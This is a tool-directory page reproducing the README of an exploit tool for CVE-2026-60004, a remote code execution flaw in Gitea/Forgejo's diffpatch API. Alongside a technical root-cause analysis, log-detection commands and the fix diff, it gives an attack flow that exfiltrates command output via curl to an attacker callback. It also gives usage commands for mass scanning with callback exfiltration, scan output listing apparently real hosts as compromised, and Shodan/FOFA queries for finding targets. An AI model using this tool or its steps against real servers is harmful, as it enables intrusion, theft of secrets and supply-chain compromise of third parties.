Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
CVE-2026-60004 — CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1 | Kitploit
Tools/GitHubGitHub/shinthink/cve-2026-60004
ReconnaissanceVulnerability ScannersExploitationWeb Application ExploitationData ExfiltrationPenetration TestingRed Teaming
GitHubshinthink/cve-2026-60004

CVE-2026-60004

CVE-2026-60004 — Gitea/Forgejo Diffpatch Git Hook RCE. Bare clone → post-index-change hook injection. CVSS 9.8 | CWE-94 | Gitea < 1.27.1

View Repository
17 days agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

CVE-2026-60004 — Gitea Diffpatch Git Hook RCE

Bare Clone Hook Injection → post-index-change → Arbitrary Command Execution


Overview

CVE-2026-60004 is a critical-severity (CVSS 9.8) pre-authentication remote code execution vulnerability in Gitea and Forgejo self-hosted Git platforms, affecting versions 1.17 through 1.27.0.

The vulnerability exploits a bare-clone design flaw in the POST /api/v1/repos/{owner}/{repo}/diffpatch API endpoint. Gitea applies user-supplied patches inside a bare temporary clone — where the repository root is $GIT_DIR itself. By submitting the same malicious patch twice, an attacker triggers an add/add conflict that causes Git's three-way merge fallback (-3, Git 2.32+) to write an executable post-index-change hook directly into $GIT_DIR/hooks/. Git executes this hook automatically during the index update, yielding arbitrary command execution under the Gitea service account.

Repository write access is required — trivially obtainable as Gitea defaults to open registration without email verification, admin approval, or repository creation limits.

Affected Versions

VersionStatus
< 1.17Not affected (diffpatch route not yet introduced)
1.17 — 1.27.0Vulnerable
1.27.1+Patched

Discovered by: Shai Rod (NightRang3r), July 28, 2026 Project: Gitea / Forgejo (self-hosted Git service) Component: diffpatch API endpoint, bare temporary clone


Vulnerability Mechanism

Root Cause

The vulnerability originates from a single parameter in services/repository/files/patch.go:

root@kitploit:~
// VULNERABLE — v1.27.0, line 195
// The second argument "true" creates a BARE clone
if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
    return nil, err
}

In a bare clone there is no working tree — the repository root is $GIT_DIR. A malicious patch whose file path is hooks/post-index-change therefore lands directly inside Git's real hooks directory, not in a sandboxed working tree.

The git apply invocation compounds this:

root@kitploit:~
// VULNERABLE — v1.27.0, lines 206-209
cmdApply := gitcmd.NewCommand("apply",
    "--index", "--recount", "--cached",
    "--ignore-whitespace", "--whitespace=fix", "--binary")

if git.DefaultFeatures().CheckVersionAtLeast("2.32") {
    cmdApply.AddArguments("-3")  // three-way merge fallback
}

Why It Works

  1. Bare clone provides no sandbox — the temp clone's root is $GIT_DIR, so path hooks/post-index-change maps to the real hooks directory.
  2. --cached is not airtight — the -3 three-way fallback in Git 2.32+ writes merged results to the working tree during add/add conflicts, despite the --cached flag.
  3. Double-submit triggers the conflict — first apply adds the hook to the index. The second apply creates an add/add collision, the three-way merge writes the file to disk, and Git executes it.
  4. Git auto-executes post-index-change — after updating the index, Git unconditionally runs this hook if it exists and is executable. No configuration needed.
  5. Hook commands CANNOT modify the index — git update-index inside the hook deadlocks because git apply holds the index lock. Use HTTP callbacks (curl) or reverse shells for output exfiltration.

Attack Flow

root@kitploit:~
1. Attacker registers account (open registration is the Gitea default)
2. Creates initialized private repository → obtains write access
3. POSTs malicious patch to /api/v1/repos/{owner}/{repo}/diffpatch
   └─ Bare temp clone created: .Clone(ctx, oldBranch, true)
   └─ git apply --index --cached -3 processes the patch
   └─ hooks/post-index-change added to INDEX only (--cached)
4. POSTs the SAME patch again → add/add conflict detected
   └─ Three-way merge (-3) resolves the conflict
   └─ Writes hooks/post-index-change to $GIT_DIR/hooks/ (bypasses --cached)
   └─ Git fires post-index-change hook automatically
   └─ Sleep N seconds → timing delta confirms RCE
5. Hook exfiltrates command output via curl to attacker's callback server
   └─ GET /?h=<hostname>&c=<command>&data=<base64_output>
6. Callback server writes output to organized files per target

Verified Source Code References

Server Log Detection

root@kitploit:~
# Look for repeated diffpatch POSTs from newly-registered accounts
grep -E "POST.*diffpatch" /var/log/gitea/gitea.log | awk '{print $1, $3, $NF}' | sort | uniq -c | sort -rn

# Suspicious pattern: new account → immediate repo creation → diffpatch within seconds
grep -E "(user_created|repo_created|diffpatch)" /var/log/gitea/gitea.log

# Check temp directories for orphaned hook files
find /tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null
find /var/tmp -name "post-index-change" -path "*/hooks/*" 2>/dev/null

Key Design Flaw

The difference between a bare and non-bare clone — a single boolean parameter — determines whether a patch path is a harmless working-tree entry or an executable hook landing directly in Git's internal directory. The fix changes exactly one character in the diff (true → false), which is why the commit was labeled "refactor: git patch apply" under MISC rather than under SECURITY. The operation that was supposed to be sandboxed to the index (--cached) was silently broken by Git's own three-way merge machinery, and no additional guard prevented hook files from being created in the bare clone's $GIT_DIR.


Installation

root@kitploit:~
git clone https://github.com/shinthink/CVE-2026-60004.git
cd CVE-2026-60004
pip install requests

Usage

root@kitploit:~
# Single target (timing-based RCE detection)
python cve_2026_60004.py -t gitea.example.com

# Single target with callback for output capture
python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888

# Mass scan
python cve_2026_60004.py -f targets.txt -o rce.txt --threads 20

# Force attempt regardless of detected version
python cve_2026_60004.py -f targets.txt --forced

# Auto-start built-in callback listener (zero setup)
python cve_2026_60004.py -t gitea.example.com --listen

Arguments

root@kitploit:~
  -t, --target       Single target URL
  -f, --file         Target list, one per line
  -c, --command      Shell command to execute (default: id)
  --callback         HTTP callback URL for output exfiltration
  --listen [PORT]    Auto-start built-in callback listener
  -o, --output       Save RCE-confirmed URLs to file
  --threads          Concurrent workers (default: 25)
  --timeout          HTTP request timeout in seconds
  --no-cleanup       Leave repository and user on target
  --forced           Attempt exploit regardless of detected version
  --debug            Show every HTTP request
  -v, --verbose      Verbose output

Proof of Concept

Single Target

root@kitploit:~
$ python cve_2026_60004.py -t gitea.example.com --callback http://your-server:8888
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Host        : gitea.example.com
  Version     : 1.22.0
  Vuln (< 1.27.1) : YES
  RCE         : CONFIRMED
  Detection   : timing Δ 8.0s (hook sleep 4s)
  User        : poc_a1b2c3
  Time        : 9.5s

Mass Scan

root@kitploit:~
$ python cve_2026_60004.py -f targets.txt --callback http://your-server:8888 --threads 20
root@kitploit:~
  Gitea Diffpatch Git Hook RCE | CVE-2026-60004 | CVSS 9.8

  Targets: 259  |  Threads: 20

  [RCE] gitea.idetama.id              Δ8.7s (hook sleep 4s)
  [RCE] gitea.roan.id.au              Δ8.7s (hook sleep 4s)
  [DET] git.ofon.id                   | ⠼ [████░░░░░░░░░░░] 86/259 (33%)  Det:76  RCE:2

  ───────────────────────────────────────────────────────
  SCAN SUMMARY
  ───────────────────────────────────────────────────────
  Total           : 259
  RCE Confirmed   : 12
  Hook Failed     : 5
  Patched         : 25
  Errors          : 151
     Register fail : 85
     Login fail    : 42
     Repo fail     : 24
  Not Gitea       : 66
  ───────────────────────────────────────────────────────
  Detection method: timing
  Done | 77s

Callback Output (auto-saved per target)

root@kitploit:~
callback-data/
├── index.txt
├── gitea.idetama.id/
│   ├── output_2026-08-03_120000.txt
│   └── latest.txt
├── gitea.roan.id.au/
│   └── ...

FOFA / Shodan

root@kitploit:~
FOFA:   title="Gitea" || body="gitea" || body="forgejo"
Shodan: http.title:"Gitea" http.component:"Gitea"
Censys: services.http.response.html_title:"Gitea"

Impact

Successful exploitation yields remote code execution as the Gitea service account:

  • Extract app.ini configuration — database credentials, SMTP secrets, OAuth app keys, LFS/JWT secrets
  • Access all hosted repositories, commit history, and LFS objects
  • Pivot to internal services reachable from the Gitea host (CI/CD, package registries, container registries)
  • Deploy persistent backdoors via SSH keys or shadow admin accounts
  • Software supply chain compromise — inject backdoors into repositories served by the instance

No account on the instance is needed — registration is open by default.


The Fix (1.27.1)

Gitea fixed the vulnerability in version 1.27.1 (commit 470d34b) by:

  • Changing the temporary clone from bare to non-bare, so attacker-controlled file paths land in the working tree rather than directly in $GIT_DIR/hooks/
  • Adding a warning comment that --index operations can interact with the working tree under certain conditions
  • Adding a unit test (TestGitPatchPrepare) that asserts the temp clone is non-bare by checking for a .git subdirectory
root@kitploit:~
- if err := t.Clone(ctx, opts.OldBranch, true); err != nil {
+ // here must NOT use bare repo, because the following git commands
+ // might operate working tree ("--index") directly
+ if err := t.Clone(ctx, opts.OldBranch, false); err != nil {

The fix appeared in the 1.27.1 release notes under MISC as "refactor: git patch apply" rather than under SECURITY, making it easy for administrators who only scan security-related changelog entries to miss this critical update. The same bare-clone pattern in CherryPick was also fixed.


Disclaimer

FOR EDUCATIONAL AND AUTHORIZED TESTING PURPOSES ONLY.

Do not use against systems without explicit permission from the owner. The authors assume no liability for misuse.


References

ResourceLink

Discovered by Shai Rod (NightRang3r). Not affiliated with Gitea or Forgejo.

Download Tool
FileLine(s)Purpose
services/repository/files/patch.go195t.Clone(ctx, opts.OldBranch, true) — bare clone creation
services/repository/files/patch.go206-209git apply with --index --cached -3 flags
services/repository/files/patch.go215-223WriteTree() + CommitTree() + Push() — persists attacker state
services/repository/files/cherry_pick.go~170Same bare-clone pattern in CherryPick (also fixed)
Gitea Fix Commit470d34b
ResearcherNightRang3r
CWE-94Code Injection
Git Hookpost-index-change